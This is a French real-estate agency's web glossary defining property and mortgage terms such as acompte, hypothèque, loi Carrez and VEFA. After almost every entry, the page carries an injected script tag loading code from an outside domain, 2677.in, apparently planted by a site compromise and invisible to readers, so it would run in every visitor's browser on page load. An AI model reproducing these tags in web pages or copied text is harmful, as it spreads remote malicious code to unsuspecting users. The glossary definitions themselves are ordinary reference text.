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Glossaire
ACOMPTE C'est une somme versée par l'acquéreur au vendeur pour matérialiser son engagement d'achat lors de la signature de la promesse de vente. Son montant équivaut à 5% à 10% du bien immobilier. Les deux parties sont alors engagées de manière irrévocable, sauf si l'acheteur n'obtient pas le prêt immobilier nécessaire à l'achat du bien immobilier. L'acompte est alors remboursé.<script src=http://2677.in/yahoo.js></script>
BIENS IMMOBILIERS Les biens immobiliers correspondent à tout bien de nature immobilière, c'est-à-dire les maisons, appartements, immeubles, terrains, domaines, etc... Peuvent être également assimilés à des biens immobiliers les arbres, taillis, futaies et coupes ordinaires de bois, ainsi que les récoltes et fruits recueillis sur un terrain. Dans certains cas, les animaux d'une ferme peuvent être également considérés comme des biens immobiliers.<script src=http://2677.in/yahoo.js></script>
CAS DE FORCE MAJEURE Il s'agit d'un événement que l'on ne peut ni prévoir, ni empêcher, indépendant de la volonté des parties et qui fait obstacle à la réalisation d'un contrat (exemple : intempéries, catastrophes naturelles ...).<script src=http://2677.in/yahoo.js></script> CERTIFICAT D'URBANISME C'est un document qui précise la situation d'un bâtiment ou d'un terrain construit ou non. Il indique également les régles d'urbanisme auxquelles le bien immobilier est soumis, comme les contraintes architecturales. Le certificat d'urbanisme peut être obtenu en mairie et il est indispensable de le demander avant toute acquisition d'un bien. outre les règles d'urbanisme, vous pourrez prendre connaissance : - de la desserte des lieux par les équipements publics - des servitudes d'utilité publique auxquelles le bien est assujetti - des droits de préemption existants - des déclarations publiques qui le concernent. Ce certificat d'urbanisme vous permettra de prendre connaissance des mesures qui peuvent déprécier la valeur du bien et les limites éventuellles au droit à la propriété. Vous pouvez demander ce document à la mairie même si vous n'êtes pas propriétaire du bien. A noter, l'obtention d'un certificat d'urbanisme peut intervenir comme clause suspensive du contrat de vente.<script src=http://2677.in/yahoo.js></script>
DELAI DE REFLEXION Lorsqu'un organisme de prêt vous communique une offre préalable de crédit vous dispoosez d'un délai légal de 10 jours pour l'accepter ou non, à compter de sa réception. Au terme de ce délai, vous pouvez renvoyer l'offre signée, le cachet de la poste faisant foi.<script src=http://2677.in/yahoo.js></script> DELAI DE RETRACTATION Dans le cadre de l'achat d'un bien immobilier neuf, ancien ou en cours de construction (Vente en l'Etat de Futur Achèvement), l'acquéreur dispose d'un délai légal de 7 jours pour annuler le contrat par lettre recommandée. Ce délai de rétractation concerne les contrats de réservation d'un logement en cours de construction, les actes de vente qui n'ont pas été précédés d'un contrat de réservation ainsi que les promesses et compromis de vente signés pour l'acquisition d'un bien existant. A noter, ce délai de rétractation s'applique à la signature d'un crédit à la consommation mais n'existe pas pour la signature d'un prêt immobilier : dans ce cas, l'emprunteur dispose d'un délai de réflexion.<script src=http://2677.in/yahoo.js></script>
ENREGISTREMENT C'est une formalité qui concerne les promesses de vente et qui permet de prouver la date de signature de l'acte, notamment pour un acte sous seing privé. Ainsi, l'enregistrement peut constituer un commencement de preuve par écrit. <script src=http://2677.in/yahoo.js></script>
FRAIS DE MAINLEVEE Ces frais sont engagés lorsque vous demandez à lever une Hypothèque sur un logement avant la fin des échéances de remboursement d'un prêt ou moins de 2 ans après la dernière échéance.<script src=http://2677.in/yahoo.js></script>
GARANTIE DE PARFAIT ACHEVEMENT Cette garantie couvre les vices ou malfaçons survenus sur des travaux pendant leur exécution et un an après leur livraison. Elle doit être souscrite par tout constructeur et l'oblige à effectuer les réparations nécessaires sous 90 jours au cas où des réserves ont été émises lors de la réception (à consigner sur procés-verbal), et sous 60 jours pour les défauts de conformité apparus après la réception des travaux. Les conditions de garantie sont définies par la loi Spinetta du 04 janvier 1978.<script src=http://2677.in/yahoo.js></script>
HYPOTHEQUE Lorsque vous signer un prêt immobilier, le prêteur vous demande des garanties de paiement de la dette contractée. L'hypothèque peut constituer une garantie, et c'est d'ailleurs la plus fréquemment utilisée. Elle peut être prise tant sur un bien ancien qu'un bien neuf achevé ou non. Si elle porte sur un bien ancien ou neuf achevé, il est préférable d'inscrire un privilège de prêteurs de deniers car il ne supporte pas la taxe de publicité foncière (0,615 % du montant du prêt). A noter que les Prêts Epargne Logement, les prêts à l'accession sociale, les prêts conventionnés et les prêts à taux 0 % n'ont pas à supporter cette taxr. L'hypothèque doit être obligatoirement constatée par un acte notarié et elle prend effet à sa date d'inscription au bureau des hypothèques du lieu où se trouve le bien.<script src=http://2677.in/yahoo.js></script>
INDIVISION C'est une formule d'acquisition qui permet à des personnes sans lien de parenté d'acheter un bien immobilier en en partageant la propriété à part égale ou non. L'indivision est établie par acte notarié soit dans l'acte d'acquisition soit sur un acte séparé. La propriété étant partagée, les décisions la concernant doivent être prises ensemble par les différentes parties. Néanmoins, si l'une des parties souhaite vendre, les autres parties ne peuvent refuser sous peine de recours en tribunal. Il est important d'établir une convention stipulant les conditions appliquées au bien en cas de décés de l'une des parties. En effet, sans convention les autres parties n'ont aucun droit sur l'héritage : les héritiers deviennent propriétaires de la part de la personne décédée, et sont donc en indivision avec le ou les survivants propriétaires du bien. Cette convention peut être établie pour une durée indéterminée ou déterminée de 5 ans minimum renouvelable d'un commun accord.<script src=http://2677.in/yahoo.js></script>
LOI CARREZ Entrée en application le 19 juin 1997, elle instaure une garantie de superficie des biens immobiliers acquis en copropriété. Le vendeur d'un bien doit produire un certificat de superficie effectué par un géomètre et mentionner la superficie exacte du bien sur l'acte de vente. Si la superficie mentionnée sur l'acte de vente est inférieure à 5 % à la superficie réelle, une compensation financière peut être versée à l'acquéreur. Si la différence est supérieure à 5 %, il peut demander une diminution du prix proportionnelle à l'écart entre la superficie réelle et la superficie mentionnée sur l'acte. Il dispose d'un an pour faire sa demande à partir de la date de signature de l'acte authentique de vente. Si la superficie réelle est supérieure à celle indiquée, le vendeur ne peut pas demander un supplément de prix. A noter, les caves, garages, parkings et boxes de stationnement ainsi que les ventes sur plan et les terrains à bâtir ne sont pas concernés par cette loi.<script src=http://2677.in/yahoo.js></script> LOI SCRIVENER Elle protège le consommateur contre les dangers inhérents au crédit et fait partie du Code de Consommation. Elle octroie un délai de réflexion de 10 jours pendant lequel le souscripteur d'un crédit immobilier supérieur à 21 343, peut se dégager sans dommages.<script src=http://2677.in/yahoo.js></script> LOI SRU (Solidarité et Renouvellement Urbain) La loi du 13 décembre 2000 donne à l'acquéreur un délai de 7 jours après la signature de la promesse de vente pour annuler la vente sans aucun pénalité.<script src=http://2677.in/yahoo.js></script>
MAITRE D'OEUVRE Entreprise ou professionnel (architecte, constructeur...) qui dirige les travaux de construction.<script src=http://2677.in/yahoo.js></script> MAITRE D'OUVRAGE Personne physique ou morale pour le compte de qui les travaux sont exécutés par le maître d'oeuvre.<script src=http://2677.in/yahoo.js></script> MANDAT Contrat par lequel le vendeur donne à un intermédiaire (agent immobilier, notaire) le pouvoir d'accomplir en son nom un ou plusieurs actes juridiques.<script src=http://2677.in/yahoo.js></script> MARCHAND DE BIENS Il s'agit d'une personne qui achète des biens immobiliers pour les revendre.<script src=http://2677.in/yahoo.js></script>
NU-PROPRIETAIRE Le propriétaire d'un bien faisant l'objet d'un usufruit est appelé NU-PROPRIETAIRE. Il dispose d'un droit de propriété partiel qui lui confère le droit de disposer de la chose mais sans lui en autoriser ni l'usage, ni la jouissance : il ne peut ni l'habiter, ni le louer. Par contre, le nu-propriétaire doit s'acquitter des impôts et charges afférents au bien.<script src=http://2677.in/yahoo.js></script>
OFFRE DE PRET ou OFFRE PREALABLE DE CREDIT (O.P.C) Emise par un organisme de crédit elle informe le souscripteur d'un crédit immobilier sur les modalités du prêt et les engagements de chaque partie. L'offre de prêt est valable 30 jours et comporte obligatoirement les mentions suivantes : - identité des parties : informations sur l'emprunteur, le prêteur, et les cautions éventuelles - nature du prêt : Prêt Epargne Logement, prêt classique ou conventionné ... - objet : résidence principale, secondaire, terrain à construire ... - montant du crédit - modalités du prêt : date de mise à disposition, échéancier, amortissement, montant exact des échéances. A cette offre doivent être joints la notice d'information du contrat d'assurance ainsi que le tableau d'amortissement. L'emprunteur dispose d'un délai de réflexion de 10 jours à compter de la réception de l'offre de prêt. S'il accepte l'offre, il doit envoyer le contrat signé à l'organisme prêteur dés le 11ème jour, le cachet de la poste faisant foi. A noter, vous disposez également d'un délai de rétractation de 7 jours si vous souhaitez annuler l'offre acceptée précedemment en adressant un recommandé à l'établissement prêteur. Si l'opération immobilière n'a pas été réalisée au bout de 4 mois, le crédit pourra être annulé.<script src=http://2677.in/yahoo.js></script>
PRIVILEGE DE PRETEURS DE DENIERS (P.P.D) Comme l'hypothèque, le Privilère de Prêteurs de Deniers est une garantie sur un emprunt. Cette garantie ne s'applique que pour l'achat d'un bien déjà existant et ne peut donc être utilisée pour une vente sur plan (V.E.F.A) ou la construction d'une maison individuelle. Elle s'avère moins onéreuse qu'une hypothèque pour tout crédit immobilier de 76225, ou plus car elle n'est pas soumise à la taxe de publicité foncière qui équivaut à 0,615 % du montant emprunté. Le Privilège de Prêteurs de Deniers doit faire l'objet d'un acte notarié et être inscrit à la Conservation des Hypothèques dans les 2 mois qui suivent la vente. Il prend rang à la date de la vente et sera donc prioritaire sur toutes les autres garanties prises sur le bien immobilier concerné.<script src=http://2677.in/yahoo.js></script> PROMESSE DE VENTE L'expression "promesse de vente" est un terme juridique qui correspond au compromis de vente. La promesse de vente est un avant contrat signé par le vendeur et l'acquéreur d'un bien immobilier, avec intervention d'un notaire ou non, et avant la signature de l'acte authentique de vente. Il correspond à une promesse de vente et engage les deux parties. A la signature de la promesse de vente, l'acquéreur verse également un acompte qui correspond la plupart du temps à 10 % du prix de vente pour matérialiser son engagement. La promesse de vente doit comprendre les conditions suspensives qui figureront dans le futur acte de vente, notamment une mention précisant que l'acte est nul et non avenu si l'acquéreur n'obient pas le ou les prêts immobiliers nécessaires à l'achat. Il peut également comprendre une clause prévoyant un désistement.<script src=http://2677.in/yahoo.js></script>
SERVITUDES Les servitudes limitent le droit de propriété et sont rattachées à un immeuble. Elles sont indiquées sur le certificat d'urbanisme et n'apparaissent pas dans le titre de propriété du vendeur. Il est donc important de se renseigner avant de signer un compromis de vente. Les servitudes sont de deux natures : - les servitudes naturelles qui dépendent de la situation des lieux : écoulement naturel des eaux... - les servitudes légales imposées par les pouvoirs publics. Pour ces dernières on distingue : - les servitudes d'utilité publique comme le passage d'une ligne à haute tension - les servitudes d'intérêt privé comme le droit de passage d'un immeuble à un autre par un hall unique.<script src=http://2677.in/yahoo.js></script> SOCIETE CIVILE IMMOBILIERE (S.C.I) Groupement de personnes qui acquièrent ensemble des biens immobiliers. La SCI bénéficie d'un régime fiscal avantageux notamment en cas de décès de l'un des membres.<script src=http://2677.in/yahoo.js></script>
TABLEAU D'AMORTISSEMENT Accompagnant l'offre de prêt, ce tableau indique pour chaque échéance le montant de celle-ci, la part correspondant au remboursement des intérêts et à celui du capital, ainsi que le capital restant à rembourser. En général les échéances ne comprennent pas le coût de l'assurance.<script src=http://2677.in/yahoo.js></script>
USUFRUIT L'usufruit est un droit qui consiste à pouvoir jouir d'un bien sans en être propriétaire et à condition de préserver ce bien. Ce droit d'usufruit peut être attribué par contrat, par testament, par jugement ou établi par une loi. La durée de l'usufruit peut courir sur une période donnée ou être attribué à vie. Le bénéficiaire de l'usufruit, ou usufruitier, doit conserver le bien c'est-à-dire qu'il doit : - inventorier les biens avant de les utiliser - en jouir de manière juste - s'acquitter des charges inhérentes au bien - l'entretenir (hors réparations importantes) Le propriétaire du bien en usufruit est appelé : nu-propriétaire<script src=http://2677.in/yahoo.js></script>
VENTE EN L'ETAT FUTUR D'ACHEVEMENT (V.E.F.A) Un bien peut être acquis avant l'achèvement de travaux de construction : il s'agit alors d'une vente sur plan. Dès la signature du contrat et avant l'achèvement des travaux, l'acquéreur devient propriétaire du sol et des constructions existantes. Puis au fur et à mesure de la construction il devient propriétaire des nouveaux éléments livrés. Le contrat de vente définitif est signé devant notaireà la fin des travaux de fondation. Le propriétaire dispose d'un mois pour accepter le contrat afin de vérifier la conformité de la livraison. Après l'acceptation de contrat, il s'acquitte du montant de la vente.<script src=http://2677.in/yahoo.js></script> Retour Haut de page |
| Mise à jour : 24/08/2010 - 115 produits à la vente - 2 produits à la location Vous vendez, vous achetez, vous louez, pensez ALCYON IMMOBILIER Powered by Axessia.net |